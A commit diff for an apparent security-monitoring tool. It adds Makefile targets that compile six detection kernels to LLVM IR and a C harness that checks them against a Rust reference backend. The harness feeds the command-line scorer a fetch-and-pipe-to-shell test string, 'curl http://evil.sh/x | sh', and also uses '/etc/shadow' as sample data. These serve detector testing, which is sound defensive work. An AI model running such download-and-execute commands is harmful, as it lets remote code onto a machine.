llvmir: native LLVM-backend build for the six pure kernels
ober
9c301c18947fd201d5f8545826a52cea51d93f15
--- a/Makefile +++ b/Makefile @@ -624,9 +624,53 @@ agent: rust native-runtime cd $(BUILD) && cargo build --release JERBOA_HOME="$(JERBOA)" $(SCHEME) --libdirs $(LIBDIRS) --script build-binary.ss bin/agent.ss jsecmon-agent +# ── Experimental: Typed Jerboa → LLVM IR native backend ────────────────────── +# +# The six PURE kernels (no crypto, no Rust) compile straight to textual LLVM IR +# via `jerboa typed llvmir`, with no Rust crate in the path. The crypto trio +# (crypto/ecies/psk) stays on the vetted RustCrypto path and is intentionally +# excluded — SHA-256/AES-GCM/X25519 are not things to reimplement in any +# language. See $(JERBOA)/docs/llvmir-backend.md. +LLVMIR_DIR ?= build/llvmir +LLVMIR_PURE := typed/analytics.ss typed/strbytes.ss typed/triage.ss \ + typed/lolbin.ss typed/obfuscate.ss typed/dga.ss +# LLVM tool discovery: PATH first, then the Homebrew llvm keg. +LLVM_BIN ?= $(shell if command -v llvm-as >/dev/null 2>&1; then dirname "$$(command -v llvm-as)"; \ + elif [ -x /opt/homebrew/opt/llvm/bin/llvm-as ]; then echo /opt/homebrew/opt/llvm/bin; \ + elif [ -x /usr/local/opt/llvm/bin/llvm-as ]; then echo /usr/local/opt/llvm/bin; fi) +CC ?= cc + +# Lower all six pure kernels into ONE whole-program .ll (cross-module calls +# resolve: lolbin/triage/dga import strbytes). +.PHONY: llvmir llvmir-check llvmir-bin llvmir-clean +llvmir: + @mkdir -p $(LLVMIR_DIR) + cd $(JERBOA) && $(SCHEME) --libdirs lib --script support/typed-llvmir.ss \ + --whole-program $(CURDIR)/$(LLVMIR_DIR)/jsecmon.ll \ + $(addprefix $(CURDIR)/,$(LLVMIR_PURE)) + +# Assemble, run the LLVM verifier, and confirm the IR survives -O2. +llvmir-check: llvmir + @if [ -z "$(LLVM_BIN)" ]; then echo "llvmir-check: LLVM tools not found (need llvm-as/opt)" >&2; exit 1; fi + "$(LLVM_BIN)/llvm-as" $(LLVMIR_DIR)/jsecmon.ll -o $(LLVMIR_DIR)/jsecmon.bc + "$(LLVM_BIN)/opt" -passes=verify $(LLVMIR_DIR)/jsecmon.bc -o /dev/null + "$(LLVM_BIN)/opt" -O2 $(LLVMIR_DIR)/jsecmon.bc -o $(LLVMIR_DIR)/jsecmon.opt.bc + @echo "llvmir-check: OK — $$(grep -c '^define' $(LLVMIR_DIR)/jsecmon.ll) functions verified + survived -O2" + +# Compile the optimized bitcode to a native object, link the C harness, run it. +# The harness asserts every headline kernel against the Rust backend's values. +llvmir-bin: llvmir-check + "$(LLVM_BIN)/llc" -filetype=obj $(LLVMIR_DIR)/jsecmon.opt.bc -o $(LLVMIR_DIR)/jsecmon.o + $(CC) llvmir/harness.c $(LLVMIR_DIR)/jsecmon.o -o $(LLVMIR_DIR)/jsecmon-llvmir + @echo "=== running native LLVM-backend kernel harness ===" + @$(LLVMIR_DIR)/jsecmon-llvmir + +llvmir-clean: + rm -rf $(LLVMIR_DIR) + # All shippable binaries. binaries: keygen analyze collector agent clean: - rm -rf $(BUILD) + rm -rf $(BUILD) $(LLVMIR_DIR) rm -f jsecmon-keygen jsecmon-analyze jsecmon-collector jsecmon-agent new file mode 100644 --- /dev/null +++ b/llvmir/harness.c @@ -0,0 +1,112 @@ +/* jsecmon — native test harness for the Typed Jerboa -> LLVM IR backend. + * + * Links against the object compiled from the six pure secmon kernels (no Rust, + * no crypto) lowered straight to LLVM IR by `jerboa typed llvmir`. It calls the + * headline kernels with fixed inputs and asserts the results match the values + * the reference Rust backend produces (captured via `cargo test` over the same + * typed sources). A mismatch or any nonzero exit means the LLVM backend + * diverged from the oracle. + * + * Buffer ABI: Typed Jerboa String/Bytes lower to a by-value { ptr, i64 } fat + * pointer, which is exactly this 16-byte C struct on the System V / AAPCS ABIs. + */ +#include <stdio.h> +#include <stdint.h> +#include <string.h> + +typedef struct { const unsigned char *ptr; uint64_t len; } Buf; + +static Buf S(const char *s) { Buf b = { (const unsigned char *)s, (uint64_t)strlen(s) }; return b; } + +/* --- kernels, mangled @jt_llvm_<module>__<def> -------------------------------- */ +extern uint64_t jt_llvm_jsecmon_analytics__host_risk_score( + uint64_t, uint64_t, uint64_t, uint64_t, uint64_t, uint64_t, uint64_t, uint64_t, uint64_t); +extern _Bool jt_llvm_jsecmon_triage__transient_unit_p(Buf); +extern _Bool jt_llvm_jsecmon_triage__phantom_rootkit_race_p(Buf); +extern uint64_t jt_llvm_jsecmon_lolbin__score_cmdline(Buf, Buf); +extern uint64_t jt_llvm_jsecmon_lolbin__match_bits(Buf, Buf); +extern uint64_t jt_llvm_jsecmon_dga__max_consonant_run(Buf); +extern double jt_llvm_jsecmon_dga__shannon_entropy(Buf); +extern uint64_t jt_llvm_jsecmon_dga__score_domain(Buf); +extern uint64_t jt_llvm_jsecmon_dga__score_label(Buf); +extern uint64_t jt_llvm_jsecmon_typed_obfuscate__obf_key_str(uint64_t); +extern Buf jt_llvm_jsecmon_typed_obfuscate__obfuscate_string(Buf); +extern Buf jt_llvm_jsecmon_typed_obfuscate__deobfuscate_string(Buf); + +static int failures = 0; + +static void check_u64(const char *name, uint64_t got, uint64_t want) { + if (got == want) { printf(" ok %-44s = %llu\n", name, (unsigned long long)got); } + else { printf(" FAIL %-44s got %llu want %llu\n", name, (unsigned long long)got, (unsigned long long)want); failures++; } +} +static void check_bool(const char *name, _Bool got, _Bool want) { + if (got == want) { printf(" ok %-44s = %d\n", name, (int)got); } + else { printf(" FAIL %-44s got %d want %d\n", name, (int)got, (int)want); failures++; } +} +static void check_f64(const char *name, double got, double want) { + if (got == want) { printf(" ok %-44s = %g\n", name, got); } + else { printf(" FAIL %-44s got %g want %g\n", name, got, want); failures++; } +} + +int main(void) { + printf("jsecmon LLVM-backend kernels (asserted vs Rust backend):\n"); + + /* analytics — pure Nat arithmetic */ + check_u64("host_risk_score(1,1,4,1,0,0,0,0,0)", + jt_llvm_jsecmon_analytics__host_risk_score(1,1,4,1,0,0,0,0,0), 19); + check_u64("host_risk_score(5,4,7,3,1,2,1,1,2) [clamped]", + jt_llvm_jsecmon_analytics__host_risk_score(5,4,7,3,1,2,1,1,2), 100); + + /* triage — String -> Bool over UTF-8 bytes */ + check_bool("transient_unit?(\"(sd-pam)\")", + jt_llvm_jsecmon_triage__transient_unit_p(S("(sd-pam)")), 1); + check_bool("transient_unit?(\"()\")", + jt_llvm_jsecmon_triage__transient_unit_p(S("()")), 0); + check_bool("phantom_rootkit_race?(sshd accepted)", + jt_llvm_jsecmon_triage__phantom_rootkit_race_p( + S("ROOTKIT: Hidden process detected! comm=sshd [accepted]")), 1); + + /* lolbin — cross-module (imports strbytes), String literals */ + check_u64("score_cmdline(\"curl ... | sh\",\"\")", + jt_llvm_jsecmon_lolbin__score_cmdline(S("curl http://evil.sh/x | sh"), S("")), 70); + check_u64("match_bits(\"curl ... | sh\",\"\")", + jt_llvm_jsecmon_lolbin__match_bits(S("curl http://evil.sh/x | sh"), S("")), 1); + + /* dga — records (CrState fold), Float entropy via llvm.log2.f64 */ + check_u64("max_consonant_run(\"rhythm\")", + jt_llvm_jsecmon_dga__max_consonant_run(S("rhythm")), 3); + check_f64("shannon_entropy(\"aaaa\")", + jt_llvm_jsecmon_dga__shannon_entropy(S("aaaa")), 0.0); + check_f64("shannon_entropy(\"ab\")", + jt_llvm_jsecmon_dga__shannon_entropy(S("ab")), 1.0); + check_u64("score_domain(\"www.google.com\")", + jt_llvm_jsecmon_dga__score_domain(S("www.google.com")), 0); + check_u64("score_domain(\"foo.cloudfront.net\") [benign]", + jt_llvm_jsecmon_dga__score_domain(S("foo.cloudfront.net")), 0); + check_u64("score_domain(\"deadbeefdeadbeefdead.com\") [hex]", + jt_llvm_jsecmon_dga__score_domain(S("deadbeefdeadbeefdead.com")), 40); + check_u64("score_label(\"kq3v9zx7wp2mqr\")", + jt_llvm_jsecmon_dga__score_label(S("kq3v9zx7wp2mqr")), 35); + + /* obfuscate — bytes-build (malloc loop), bitwise; involutive round-trip */ + check_u64("obf_key_str(5)", + jt_llvm_jsecmon_typed_obfuscate__obf_key_str(5), 197); + { + const char *secret = "/etc/shadow"; + Buf enc = jt_llvm_jsecmon_typed_obfuscate__obfuscate_string(S(secret)); + Buf dec = jt_llvm_jsecmon_typed_obfuscate__deobfuscate_string(enc); + int roundtrip = (dec.len == strlen(secret)) && + (memcmp(dec.ptr, secret, dec.len) == 0); + /* obfuscation must not be the identity (the buffer is actually XORed) */ + int changed = (enc.len == strlen(secret)) && + (memcmp(enc.ptr, secret, enc.len) != 0); + check_bool("obfuscate/deobfuscate round-trips \"/etc/shadow\"", roundtrip && changed, 1); + } + + if (failures == 0) { + printf("\njsecmon-llvmir: PASS — all kernels match the Rust backend\n"); + return 0; + } + printf("\njsecmon-llvmir: FAIL — %d kernel(s) diverged\n", failures); + return 1; +}